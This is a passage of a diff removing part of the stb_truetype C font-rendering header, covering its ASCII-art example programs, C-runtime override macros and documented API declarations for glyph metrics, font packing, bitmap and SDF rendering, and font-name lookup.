**argv) -{ - stbtt_fontinfo font; - unsigned char *bitmap; - int w,h,i,j,c = (argc > 1 ? atoi(argv[1]) : 'a'), s = (argc > 2 ? atoi(argv[2]) : 20); - - fread(ttf_buffer, 1, 1<<25, fopen(argc > 3 ? argv[3] : "c:/windows/fonts/arialbd.ttf", "rb")); - - stbtt_InitFont(&font, ttf_buffer, stbtt_GetFontOffsetForIndex(ttf_buffer,0)); - bitmap = stbtt_GetCodepointBitmap(&font, 0,stbtt_ScaleForPixelHeight(&font, s), c, &w, &h, 0,0); - - for (j=0; j < h; ++j) { - for (i=0; i < w; ++i) - putchar(" .:ioVM@"[bitmap[j*w+i]>>5]); - putchar('\n'); - } - return 0; -} -#endif -// -// Output: -// -// .ii. -// @@@@@@. -// V@Mio@@o -// :i. V@V -// :oM@@M -// :@@@MM@M -// @@o o@M -// :@@. M@M -// @@@o@@@@ -// :M@@V:@@. -// -////////////////////////////////////////////////////////////////////////////// -// -// Complete program: print "Hello World!" banner, with bugs -// -#if 0 -char buffer[24<<20]; -unsigned char screen[20][79]; - -int main(int arg, char **argv) -{ - stbtt_fontinfo font; - int i,j,ascent,baseline,ch=0; - float scale, xpos=2; // leave a little padding in case the character extends left - char *text = "Heljo World!"; // intentionally misspelled to show 'lj' brokenness - - fread(buffer, 1, 1000000, fopen("c:/windows/fonts/arialbd.ttf", "rb")); - stbtt_InitFont(&font, buffer, 0); - - scale = stbtt_ScaleForPixelHeight(&font, 15); - stbtt_GetFontVMetrics(&font, &ascent,0,0); - baseline = (int) (ascent*scale); - - while (text[ch]) { - int advance,lsb,x0,y0,x1,y1; - float x_shift = xpos - (float) floor(xpos); - stbtt_GetCodepointHMetrics(&font, text[ch], &advance, &lsb); - stbtt_GetCodepointBitmapBoxSubpixel(&font, text[ch], scale,scale,x_shift,0, &x0,&y0,&x1,&y1); - stbtt_MakeCodepointBitmapSubpixel(&font, &screen[baseline + y0][(int) xpos + x0], x1-x0,y1-y0, 79, scale,scale,x_shift,0, text[ch]); - // note that this stomps the old data, so where character boxes overlap (e.g. 'lj') it's wrong - // because this API is really for baking character bitmaps into textures. if you want to render - // a sequence of characters, you really need to render each bitmap to a temp buffer, then - // "alpha blend" that into the working buffer - xpos += (advance * scale); - if (text[ch+1]) - xpos += scale*stbtt_GetCodepointKernAdvance(&font, text[ch],text[ch+1]); - ++ch; - } - - for (j=0; j < 20; ++j) { - for (i=0; i < 78; ++i) - putchar(" .:ioVM@"[screen[j][i]>>5]); - putchar('\n'); - } - - return 0; -} -#endif - - -////////////////////////////////////////////////////////////////////////////// -////////////////////////////////////////////////////////////////////////////// -//// -//// INTEGRATION WITH YOUR CODEBASE -//// -//// The following sections allow you to supply alternate definitions -//// of C library functions used by stb_truetype, e.g. if you don't -//// link with the C runtime library. - -#ifdef STB_TRUETYPE_IMPLEMENTATION - // #define your own (u)stbtt_int8/16/32 before including to override this - #ifndef stbtt_uint8 - typedef unsigned char stbtt_uint8; - typedef signed char stbtt_int8; - typedef unsigned short stbtt_uint16; - typedef signed short stbtt_int16; - typedef unsigned int stbtt_uint32; - typedef signed int stbtt_int32; - #endif - - typedef char stbtt__check_size32[sizeof(stbtt_int32)==4 ? 1 : -1]; - typedef char stbtt__check_size16[sizeof(stbtt_int16)==2 ? 1 : -1]; - - // e.g. #define your own STBTT_ifloor/STBTT_iceil() to avoid math.h - #ifndef STBTT_ifloor - #include - #define STBTT_ifloor(x) ((int) floor(x)) - #define STBTT_iceil(x) ((int) ceil(x)) - #endif - - #ifndef STBTT_sqrt - #include - #define STBTT_sqrt(x) sqrt(x) - #define STBTT_pow(x,y) pow(x,y) - #endif - - #ifndef STBTT_fmod - #include - #define STBTT_fmod(x,y) fmod(x,y) - #endif - - #ifndef STBTT_cos - #include - #define STBTT_cos(x) cos(x) - #define STBTT_acos(x) acos(x) - #endif - - #ifndef STBTT_fabs - #include - #define STBTT_fabs(x) fabs(x) - #endif - - // #define your own functions "STBTT_malloc" / "STBTT_free" to avoid malloc.h - #ifndef STBTT_malloc - #include - #define STBTT_malloc(x,u) ((void)(u),malloc(x)) - #define STBTT_free(x,u) ((void)(u),free(x)) - #endif - - #ifndef STBTT_assert - #include - #define STBTT_assert(x) assert(x) - #endif - - #ifndef STBTT_strlen - #include - #define STBTT_strlen(x) strlen(x) - #endif - - #ifndef STBTT_memcpy - #include - #define STBTT_memcpy memcpy - #define STBTT_memset memset - #endif -#endif - -/////////////////////////////////////////////////////////////////////////////// -/////////////////////////////////////////////////////////////////////////////// -//// -//// INTERFACE -//// -//// - -#ifndef __STB_INCLUDE_STB_TRUETYPE_H__ -#define __STB_INCLUDE_STB_TRUETYPE_H__ - -#ifdef STBTT_STATIC -#define STBTT_DEF static -#else -#define STBTT_DEF extern -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -// private structure -typedef struct -{ - unsigned char *data; - int cursor; - int size; -} stbtt__buf; - -////////////////////////////////////////////////////////////////////////////// -// -// TEXTURE BAKING API -// -// If you use this API, you only have to call two functions ever. -// - -typedef struct -{ - unsigned short x0,y0,x1,y1; // coordinates of bbox in bitmap - float xoff,yoff,xadvance; -} stbtt_bakedchar; - -STBTT_DEF int stbtt_BakeFontBitmap(const unsigned char *data, int offset, // font location (use offset=0 for plain .ttf) - float pixel_height, // height of font in pixels - unsigned char *pixels, int pw, int ph, // bitmap to be filled in - int first_char, int num_chars, // characters to bake - stbtt_bakedchar *chardata); // you allocate this, it's num_chars long -// if return is positive, the first unused row of the bitmap -// if return is negative, returns the negative of the number of characters that fit -// if return is 0, no characters fit and no rows were used -// This uses a very crappy packing. - -typedef struct -{ - float x0,y0,s0,t0; // top-left - float x1,y1,s1,t1; // bottom-right -} stbtt_aligned_quad; - -STBTT_DEF void stbtt_GetBakedQuad(const stbtt_bakedchar *chardata, int pw, int ph, // same data as above - int char_index, // character to display - float *xpos, float *ypos, // pointers to current position in screen pixel space - stbtt_aligned_quad *q, // output: quad to draw - int opengl_fillrule); // true if opengl fill rule; false if DX9 or earlier -// Call GetBakedQuad with char_index = 'character - first_char', and it -// creates the quad you need to draw and advances the current position. -// -// The coordinate system used assumes y increases downwards. -// -// Characters will extend both above and below the current position; -// see discussion of "BASELINE" above. -// -// It's inefficient; you might want to c&p it and optimize it. - -STBTT_DEF void stbtt_GetScaledFontVMetrics(const unsigned char *fontdata, int index, float size, float *ascent, float *descent, float *lineGap); -// Query the font vertical metrics without having to create a font first. - - -////////////////////////////////////////////////////////////////////////////// -// -// NEW TEXTURE BAKING API -// -// This provides options for packing multiple fonts into one atlas, not -// perfectly but better than nothing. - -typedef struct -{ - unsigned short x0,y0,x1,y1; // coordinates of bbox in bitmap - float xoff,yoff,xadvance; - float xoff2,yoff2; -} stbtt_packedchar; - -typedef struct stbtt_pack_context stbtt_pack_context; -typedef struct stbtt_fontinfo stbtt_fontinfo; -#ifndef STB_RECT_PACK_VERSION -typedef struct stbrp_rect stbrp_rect; -#endif - -STBTT_DEF int stbtt_PackBegin(stbtt_pack_context *spc, unsigned char *pixels, int width, int height, int stride_in_bytes, int padding, void *alloc_context); -// Initializes a packing context stored in the passed-in stbtt_pack_context. -// Future calls using this context will pack characters into the bitmap passed -// in here: a 1-channel bitmap that is width * height. stride_in_bytes is -// the distance from one row to the next (or 0 to mean they are packed tightly -// together). "padding" is the amount of padding to leave between each -// character (normally you want '1' for bitmaps you'll use as textures with -// bilinear filtering). -// -// Returns 0 on failure, 1 on success. - -STBTT_DEF void stbtt_PackEnd (stbtt_pack_context *spc); -// Cleans up the packing context and frees all memory. - -#define STBTT_POINT_SIZE(x) (-(x)) - -STBTT_DEF int stbtt_PackFontRange(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, float font_size, - int first_unicode_char_in_range, int num_chars_in_range, stbtt_packedchar *chardata_for_range); -// Creates character bitmaps from the font_index'th font found in fontdata (use -// font_index=0 if you don't know what that is). It creates num_chars_in_range -// bitmaps for characters with unicode values starting at first_unicode_char_in_range -// and increasing. Data for how to render them is stored in chardata_for_range; -// pass these to stbtt_GetPackedQuad to get back renderable quads. -// -// font_size is the full height of the character from ascender to descender, -// as computed by stbtt_ScaleForPixelHeight. To use a point size as computed -// by stbtt_ScaleForMappingEmToPixels, wrap the point size in STBTT_POINT_SIZE() -// and pass that result as 'font_size': -// ..., 20 , ... // font max minus min y is 20 pixels tall -// ..., STBTT_POINT_SIZE(20), ... // 'M' is 20 pixels tall - -typedef struct -{ - float font_size; - int first_unicode_codepoint_in_range; // if non-zero, then the chars are continuous, and this is the first codepoint - int *array_of_unicode_codepoints; // if non-zero, then this is an array of unicode codepoints - int num_chars; - stbtt_packedchar *chardata_for_range; // output - unsigned char h_oversample, v_oversample; // don't set these, they're used internally -} stbtt_pack_range; - -STBTT_DEF int stbtt_PackFontRanges(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, stbtt_pack_range *ranges, int num_ranges); -// Creates character bitmaps from multiple ranges of characters stored in -// ranges. This will usually create a better-packed bitmap than multiple -// calls to stbtt_PackFontRange. Note that you can call this multiple -// times within a single PackBegin/PackEnd. - -STBTT_DEF void stbtt_PackSetOversampling(stbtt_pack_context *spc, unsigned int h_oversample, unsigned int v_oversample); -// Oversampling a font increases the quality by allowing higher-quality subpixel -// positioning, and is especially valuable at smaller text sizes. -// -// This function sets the amount of oversampling for all following calls to -// stbtt_PackFontRange(s) or stbtt_PackFontRangesGatherRects for a given -// pack context. The default (no oversampling) is achieved by h_oversample=1 -// and v_oversample=1. The total number of pixels required is -// h_oversample*v_oversample larger than the default; for example, 2x2 -// oversampling requires 4x the storage of 1x1. For best results, render -// oversampled textures with bilinear filtering. Look at the readme in -// stb/tests/oversample for information about oversampled fonts -// -// To use with PackFontRangesGather etc., you must set it before calls -// call to PackFontRangesGatherRects. - -STBTT_DEF void stbtt_PackSetSkipMissingCodepoints(stbtt_pack_context *spc, int skip); -// If skip != 0, this tells stb_truetype to skip any codepoints for which -// there is no corresponding glyph. If skip=0, which is the default, then -// codepoints without a glyph recived the font's "missing character" glyph, -// typically an empty box by convention. - -STBTT_DEF void stbtt_GetPackedQuad(const stbtt_packedchar *chardata, int pw, int ph, // same data as above - int char_index, // character to display - float *xpos, float *ypos, // pointers to current position in screen pixel space - stbtt_aligned_quad *q, // output: quad to draw - int align_to_integer); - -STBTT_DEF int stbtt_PackFontRangesGatherRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects); -STBTT_DEF void stbtt_PackFontRangesPackRects(stbtt_pack_context *spc, stbrp_rect *rects, int num_rects); -STBTT_DEF int stbtt_PackFontRangesRenderIntoRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects); -// Calling these functions in sequence is roughly equivalent to calling -// stbtt_PackFontRanges(). If you more control over the packing of multiple -// fonts, or if you want to pack custom data into a font texture, take a look -// at the source to of stbtt_PackFontRanges() and create a custom version -// using these functions, e.g. call GatherRects multiple times, -// building up a single array of rects, then call PackRects once, -// then call RenderIntoRects repeatedly. This may result in a -// better packing than calling PackFontRanges multiple times -// (or it may not). - -// this is an opaque structure that you shouldn't mess with which holds -// all the context needed from PackBegin to PackEnd. -struct stbtt_pack_context { - void *user_allocator_context; - void *pack_info; - int width; - int height; - int stride_in_bytes; - int padding; - int skip_missing; - unsigned int h_oversample, v_oversample; - unsigned char *pixels; - void *nodes; -}; - -////////////////////////////////////////////////////////////////////////////// -// -// FONT LOADING -// -// - -STBTT_DEF int stbtt_GetNumberOfFonts(const unsigned char *data); -// This function will determine the number of fonts in a font file. TrueType -// collection (.ttc) files may contain multiple fonts, while TrueType font -// (.ttf) files only contain one font. The number of fonts can be used for -// indexing with the previous function where the index is between zero and one -// less than the total fonts. If an error occurs, -1 is returned. - -STBTT_DEF int stbtt_GetFontOffsetForIndex(const unsigned char *data, int index); -// Each .ttf/.ttc file may have more than one font. Each font has a sequential -// index number starting from 0. Call this function to get the font offset for -// a given index; it returns -1 if the index is out of range. A regular .ttf -// file will only define one font and it always be at offset 0, so it will -// return '0' for index 0, and -1 for all other indices. - -// The following structure is defined publicly so you can declare one on -// the stack or as a global or etc, but you should treat it as opaque. -struct stbtt_fontinfo -{ - void * userdata; - unsigned char * data; // pointer to .ttf file - int fontstart; // offset of start of font - - int numGlyphs; // number of glyphs, needed for range checking - - int loca,head,glyf,hhea,hmtx,kern,gpos; // table locations as offset from start of .ttf - int index_map; // a cmap mapping for our chosen character encoding - int indexToLocFormat; // format needed to map from glyph index to glyph - - stbtt__buf cff; // cff font data - stbtt__buf charstrings; // the charstring index - stbtt__buf gsubrs; // global charstring subroutines index - stbtt__buf subrs; // private charstring subroutines index - stbtt__buf fontdicts; // array of font dicts - stbtt__buf fdselect; // map from glyph to fontdict -}; - -STBTT_DEF int stbtt_InitFont(stbtt_fontinfo *info, const unsigned char *data, int offset); -// Given an offset into the file that defines a font, this function builds -// the necessary cached info for the rest of the system. You must allocate -// the stbtt_fontinfo yourself, and stbtt_InitFont will fill it out. You don't -// need to do anything special to free it, because the contents are pure -// value data with no additional data structures. Returns 0 on failure. - - -////////////////////////////////////////////////////////////////////////////// -// -// CHARACTER TO GLYPH-INDEX CONVERSIOn - -STBTT_DEF int stbtt_FindGlyphIndex(const stbtt_fontinfo *info, int unicode_codepoint); -// If you're going to perform multiple operations on the same character -// and you want a speed-up, call this function with the character you're -// going to process, then use glyph-based functions instead of the -// codepoint-based functions. -// Returns 0 if the character codepoint is not defined in the font. - - -////////////////////////////////////////////////////////////////////////////// -// -// CHARACTER PROPERTIES -// - -STBTT_DEF float stbtt_ScaleForPixelHeight(const stbtt_fontinfo *info, float pixels); -// computes a scale factor to produce a font whose "height" is 'pixels' tall. -// Height is measured as the distance from the highest ascender to the lowest -// descender; in other words, it's equivalent to calling stbtt_GetFontVMetrics -// and computing: -// scale = pixels / (ascent - descent) -// so if you prefer to measure height by the ascent only, use a similar calculation. - -STBTT_DEF float stbtt_ScaleForMappingEmToPixels(const stbtt_fontinfo *info, float pixels); -// computes a scale factor to produce a font whose EM size is mapped to -// 'pixels' tall. This is probably what traditional APIs compute, but -// I'm not positive. - -STBTT_DEF void stbtt_GetFontVMetrics(const stbtt_fontinfo *info, int *ascent, int *descent, int *lineGap); -// ascent is the coordinate above the baseline the font extends; descent -// is the coordinate below the baseline the font extends (i.e. it is typically negative) -// lineGap is the spacing between one row's descent and the next row's ascent... -// so you should advance the vertical position by "*ascent - *descent + *lineGap" -// these are expressed in unscaled coordinates, so you must multiply by -// the scale factor for a given size - -STBTT_DEF int stbtt_GetFontVMetricsOS2(const stbtt_fontinfo *info, int *typoAscent, int *typoDescent, int *typoLineGap); -// analogous to GetFontVMetrics, but returns the "typographic" values from the OS/2 -// table (specific to MS/Windows TTF files). -// -// Returns 1 on success (table present), 0 on failure. - -STBTT_DEF void stbtt_GetFontBoundingBox(const stbtt_fontinfo *info, int *x0, int *y0, int *x1, int *y1); -// the bounding box around all possible characters - -STBTT_DEF void stbtt_GetCodepointHMetrics(const stbtt_fontinfo *info, int codepoint, int *advanceWidth, int *leftSideBearing); -// leftSideBearing is the offset from the current horizontal position to the left edge of the character -// advanceWidth is the offset from the current horizontal position to the next horizontal position -// these are expressed in unscaled coordinates - -STBTT_DEF int stbtt_GetCodepointKernAdvance(const stbtt_fontinfo *info, int ch1, int ch2); -// an additional amount to add to the 'advance' value between ch1 and ch2 - -STBTT_DEF int stbtt_GetCodepointBox(const stbtt_fontinfo *info, int codepoint, int *x0, int *y0, int *x1, int *y1); -// Gets the bounding box of the visible part of the glyph, in unscaled coordinates - -STBTT_DEF void stbtt_GetGlyphHMetrics(const stbtt_fontinfo *info, int glyph_index, int *advanceWidth, int *leftSideBearing); -STBTT_DEF int stbtt_GetGlyphKernAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2); -STBTT_DEF int stbtt_GetGlyphBox(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1); -// as above, but takes one or more glyph indices for greater efficiency - - -////////////////////////////////////////////////////////////////////////////// -// -// GLYPH SHAPES (you probably don't need these, but they have to go before -// the bitmaps for C declaration-order reasons) -// - -#ifndef STBTT_vmove // you can predefine these to use different values (but why?) - enum { - STBTT_vmove=1, - STBTT_vline, - STBTT_vcurve, - STBTT_vcubic - }; -#endif - -#ifndef stbtt_vertex // you can predefine this to use different values - // (we share this with other code at RAD) - #define stbtt_vertex_type short // can't use stbtt_int16 because that's not visible in the header file - typedef struct - { - stbtt_vertex_type x,y,cx,cy,cx1,cy1; - unsigned char type,padding; - } stbtt_vertex; -#endif - -STBTT_DEF int stbtt_IsGlyphEmpty(const stbtt_fontinfo *info, int glyph_index); -// returns non-zero if nothing is drawn for this glyph - -STBTT_DEF int stbtt_GetCodepointShape(const stbtt_fontinfo *info, int unicode_codepoint, stbtt_vertex **vertices); -STBTT_DEF int stbtt_GetGlyphShape(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **vertices); -// returns # of vertices and fills *vertices with the pointer to them -// these are expressed in "unscaled" coordinates -// -// The shape is a series of contours. Each one starts with -// a STBTT_moveto, then consists of a series of mixed -// STBTT_lineto and STBTT_curveto segments. A lineto -// draws a line from previous endpoint to its x,y; a curveto -// draws a quadratic bezier from previous endpoint to -// its x,y, using cx,cy as the bezier control point. - -STBTT_DEF void stbtt_FreeShape(const stbtt_fontinfo *info, stbtt_vertex *vertices); -// frees the data allocated above - -////////////////////////////////////////////////////////////////////////////// -// -// BITMAP RENDERING -// - -STBTT_DEF void stbtt_FreeBitmap(unsigned char *bitmap, void *userdata); -// frees the bitmap allocated below - -STBTT_DEF unsigned char *stbtt_GetCodepointBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int codepoint, int *width, int *height, int *xoff, int *yoff); -// allocates a large-enough single-channel 8bpp bitmap and renders the -// specified character/glyph at the specified scale into it, with -// antialiasing. 0 is no coverage (transparent), 255 is fully covered (opaque). -// *width & *height are filled out with the width & height of the bitmap, -// which is stored left-to-right, top-to-bottom. -// -// xoff/yoff are the offset it pixel space from the glyph origin to the top-left of the bitmap - -STBTT_DEF unsigned char *stbtt_GetCodepointBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint, int *width, int *height, int *xoff, int *yoff); -// the same as stbtt_GetCodepoitnBitmap, but you can specify a subpixel -// shift for the character - -STBTT_DEF void stbtt_MakeCodepointBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int codepoint); -// the same as stbtt_GetCodepointBitmap, but you pass in storage for the bitmap -// in the form of 'output', with row spacing of 'out_stride' bytes. the bitmap -// is clipped to out_w/out_h bytes. Call stbtt_GetCodepointBitmapBox to get the -// width and height and positioning info for it first. - -STBTT_DEF void stbtt_MakeCodepointBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint); -// same as stbtt_MakeCodepointBitmap, but you can specify a subpixel -// shift for the character - -STBTT_DEF void stbtt_MakeCodepointBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int codepoint); -// same as stbtt_MakeCodepointBitmapSubpixel, but prefiltering -// is performed (see stbtt_PackSetOversampling) - -STBTT_DEF void stbtt_GetCodepointBitmapBox(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1); -// get the bbox of the bitmap centered around the glyph origin; so the -// bitmap width is ix1-ix0, height is iy1-iy0, and location to place -// the bitmap top left is (leftSideBearing*scale,iy0). -// (Note that the bitmap uses y-increases-down, but the shape uses -// y-increases-up, so CodepointBitmapBox and CodepointBox are inverted.) - -STBTT_DEF void stbtt_GetCodepointBitmapBoxSubpixel(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1); -// same as stbtt_GetCodepointBitmapBox, but you can specify a subpixel -// shift for the character - -// the following functions are equivalent to the above functions, but operate -// on glyph indices instead of Unicode codepoints (for efficiency) -STBTT_DEF unsigned char *stbtt_GetGlyphBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int glyph, int *width, int *height, int *xoff, int *yoff); -STBTT_DEF unsigned char *stbtt_GetGlyphBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int glyph, int *width, int *height, int *xoff, int *yoff); -STBTT_DEF void stbtt_MakeGlyphBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int glyph); -STBTT_DEF void stbtt_MakeGlyphBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int glyph); -STBTT_DEF void stbtt_MakeGlyphBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int glyph); -STBTT_DEF void stbtt_GetGlyphBitmapBox(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1); -STBTT_DEF void stbtt_GetGlyphBitmapBoxSubpixel(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y,float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1); - - -// @TODO: don't expose this structure -typedef struct -{ - int w,h,stride; - unsigned char *pixels; -} stbtt__bitmap; - -// rasterize a shape with quadratic beziers into a bitmap -STBTT_DEF void stbtt_Rasterize(stbtt__bitmap *result, // 1-channel bitmap to draw into - float flatness_in_pixels, // allowable error of curve in pixels - stbtt_vertex *vertices, // array of vertices defining shape - int num_verts, // number of vertices in above array - float scale_x, float scale_y, // scale applied to input vertices - float shift_x, float shift_y, // translation applied to input vertices - int x_off, int y_off, // another translation applied to input - int invert, // if non-zero, vertically flip shape - void *userdata); // context for to STBTT_MALLOC - -////////////////////////////////////////////////////////////////////////////// -// -// Signed Distance Function (or Field) rendering - -STBTT_DEF void stbtt_FreeSDF(unsigned char *bitmap, void *userdata); -// frees the SDF bitmap allocated below - -STBTT_DEF unsigned char * stbtt_GetGlyphSDF(const stbtt_fontinfo *info, float scale, int glyph, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff); -STBTT_DEF unsigned char * stbtt_GetCodepointSDF(const stbtt_fontinfo *info, float scale, int codepoint, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff); -// These functions compute a discretized SDF field for a single character, suitable for storing -// in a single-channel texture, sampling with bilinear filtering, and testing against -// larger than some threshold to produce scalable fonts. -// info -- the font -// scale -- controls the size of the resulting SDF bitmap, same as it would be creating a regular bitmap -// glyph/codepoint -- the character to generate the SDF for -// padding -- extra "pixels" around the character which are filled with the distance to the character (not 0), -// which allows effects like bit outlines -// onedge_value -- value 0-255 to test the SDF against to reconstruct the character (i.e. the isocontour of the character) -// pixel_dist_scale -- what value the SDF should increase by when moving one SDF "pixel" away from the edge (on the 0..255 scale) -// if positive, > onedge_value is inside; if negative, < onedge_value is inside -// width,height -- output height & width of the SDF bitmap (including padding) -// xoff,yoff -- output origin of the character -// return value -- a 2D array of bytes 0..255, width*height in size -// -// pixel_dist_scale & onedge_value are a scale & bias that allows you to make -// optimal use of the limited 0..255 for your application, trading off precision -// and special effects. SDF values outside the range 0..255 are clamped to 0..255. -// -// Example: -// scale = stbtt_ScaleForPixelHeight(22) -// padding = 5 -// onedge_value = 180 -// pixel_dist_scale = 180/5.0 = 36.0 -// -// This will create an SDF bitmap in which the character is about 22 pixels -// high but the whole bitmap is about 22+5+5=32 pixels high. To produce a filled -// shape, sample the SDF at each pixel and fill the pixel if the SDF value -// is greater than or equal to 180/255. (You'll actually want to antialias, -// which is beyond the scope of this example.) Additionally, you can compute -// offset outlines (e.g. to stroke the character border inside & outside, -// or only outside). For example, to fill outside the character up to 3 SDF -// pixels, you would compare against (180-36.0*3)/255 = 72/255. The above -// choice of variables maps a range from 5 pixels outside the shape to -// 2 pixels inside the shape to 0..255; this is intended primarily for apply -// outside effects only (the interior range is needed to allow proper -// antialiasing of the font at *smaller* sizes) -// -// The function computes the SDF analytically at each SDF pixel, not by e.g. -// building a higher-res bitmap and approximating it. In theory the quality -// should be as high as possible for an SDF of this size & representation, but -// unclear if this is true in practice (perhaps building a higher-res bitmap -// and computing from that can allow drop-out prevention). -// -// The algorithm has not been optimized at all, so expect it to be slow -// if computing lots of characters or very large sizes. - - - -////////////////////////////////////////////////////////////////////////////// -// -// Finding the right font... -// -// You should really just solve this offline, keep your own tables -// of what font is what, and don't try to get it out of the .ttf file. -// That's because getting it out of the .ttf file is really hard, because -// the names in the file can appear in many possible encodings, in many -// possible languages, and e.g. if you need a case-insensitive comparison, -// the details of that depend on the encoding & language in a complex way -// (actually underspecified in truetype, but also gigantic). -// -// But you can use the provided functions in two possible ways: -// stbtt_FindMatchingFont() will use *case-sensitive* comparisons on -// unicode-encoded names to try to find the font you want; -// you can run this before calling stbtt_InitFont() -// -// stbtt_GetFontNameString() lets you get any of the various strings -// from the file yourself and do your own comparisons on them. -// You have to have called stbtt_InitFont() first. - - -STBTT_DEF int stbtt_FindMatchingFont(const unsigned char *fontdata, const char *name, int flags); -// returns the offset (not index) of the font that matches, or -1 if none -// if you use STBTT_MACSTYLE_DONTCARE, use a font name like "Arial Bold". -// if you use any other flag, use a font name like "Arial"; this checks -// the 'macStyle' header field; i don't know if fonts set this consistently -#define STBTT_MACSTYLE_DONTCARE 0 -#define STBTT_MACSTYLE_BOLD 1 -#define STBTT_MACSTYLE_ITALIC 2 -#define STBTT_MACSTYLE_UNDERSCORE 4 -#define STBTT_MACSTYLE_NONE 8 // <= not same as 0, this makes us check the bitfield is 0 - -STBTT_DEF int stbtt_CompareUTF8toUTF16_bigendian(const char *s1, int len1, const char *s2, int len2); -// returns 1/0 whether the first string interpreted as utf8 is identical to -// the second string interpreted as big-endian utf16... useful for strings from next func - -STBTT_DEF const char *stbtt_GetFontNameString(const stbtt_fontinfo *font, int *length, int platformID, int encodingID, int languageID, int nameID); -// returns the string (which may be big-endian double byte, e.g. for unicode) -// and puts the length in bytes in *length. -// -// some of the values for the IDs are below; for more see the truetype spec: -// http://developer.apple.com/textfonts/TTRefMan/RM06/Chap6name.html -// http://www.microsoft.com/typography/otspec/name.htm - -enum { // platformID - STBTT_PLATFORM_ID_UNICODE =0, - STBTT_PLATFORM_ID_MAC =1, - STBTT_PLATFORM_ID_ISO =2, - STBTT_PLATFORM_ID_MICROSOFT =3 -}; - -enum { // encodingID for STBTT_PLATFORM_ID_UNICODE - STBTT_UNICODE_EID_UNICODE_1_0 =0, - STBTT_UNICODE_EID_UNICODE_1_1 =1, - STBTT_UNICODE_EID_ISO_10646 =2, - STBTT_UNICODE_EID_UNICODE_2_0_BMP=3, - STBTT_UNICODE_EID_UNICODE_2_0_FULL=4 -}; - -enum { // encodingID for STBTT_PLATFORM_ID_MICROSOFT - STBTT_MS_EID_SYMBOL =0, - STBTT_MS_EID_UNICODE_BMP =1, - STBTT_MS_EID_SHIFTJIS =2, - STBTT_MS_EID_UNICODE_FULL =10 -}; - -enum { // encodingID for STBTT_PLATFORM_ID_MAC; same as Script Manager codes - STBTT_MAC_EID_ROMAN =0, STBTT_MAC_EID_ARABIC =4, - STBTT_MAC_EID_JAPANESE =1, STBTT_MAC_EID_HEBREW =5, - STBTT_MAC_EID_CHINESE_TRAD =2, STBTT_MAC_EID_GREEK =6, - STBTT_MAC_EID_KOREAN =3, STBTT_MAC_EID_RUSSIAN =7 -}; - -enum { // languageID for STBTT_PLATFORM_ID_MICROSOFT; same as LCID... - // problematic because there are e.g. 16 english LCIDs and 16 arabic LCIDs - STBTT_MS_LANG_ENGLISH =0x0409, STBTT_MS_LANG_ITALIAN =0x0410, - STBTT_MS_LANG_CHINESE =0x0804, STBTT_MS_LANG_JAPANESE =0x0411, - STBTT_MS_LANG_DUTCH =0x0413, STBTT_MS_LANG_KOREAN =0x0412, - STBTT_MS_LANG_FRENCH =0x040c, STBTT_MS_LANG_RUSSIAN =0x0419, - STBTT_MS_LANG_GERMAN =0x0407, STBTT_MS_LANG_SPANISH =0x0409, - STBTT_MS_LANG_HEBREW =0x040d, STBTT_MS_LANG_SWEDISH =0x041D -}; - -enum { // languageID for STBTT_PLATFORM_ID_MAC - STBTT_MAC_LANG_ENGLISH =0 , STBTT_MAC_LANG_JAPANESE =11, - STBTT_MAC_LANG_ARABIC =12, STBTT_MAC_LANG_KOREAN =23, - STBTT_MAC_LANG_DUTCH =4 , STBTT_MAC_LANG_RUSSIAN =32, - STBTT_MAC_LANG_FRENCH =1 , STBTT_MAC_LANG_SPANISH =6 , - STBTT_MAC_LANG_GERMAN =2 , STBTT_MAC_LANG_SWEDISH =5 , - STBTT_MAC_LANG_HEBREW =10, STBTT_MAC_LANG_CHINESE_SIMPLIFIED =33, - STBTT_MAC_LANG_ITALIAN =3 , STBTT_MAC_LANG_CHINESE_TRAD =19 -}; - -#ifdef __cplusplus -} -#endif - -#endif // __STB_INCLUDE_STB_TRUETYPE_H__ - -/////////////////////////////////////////////////////////////////////////////// -/////////////////////////////////////////////////////////////////////////////// -//// -//// IMPLEMENTATION -//// -//// - -#ifdef STB_TRUETYPE_IMPLEMENTATION - -#ifndef STBTT_MAX_OVERSAMPLE -#define 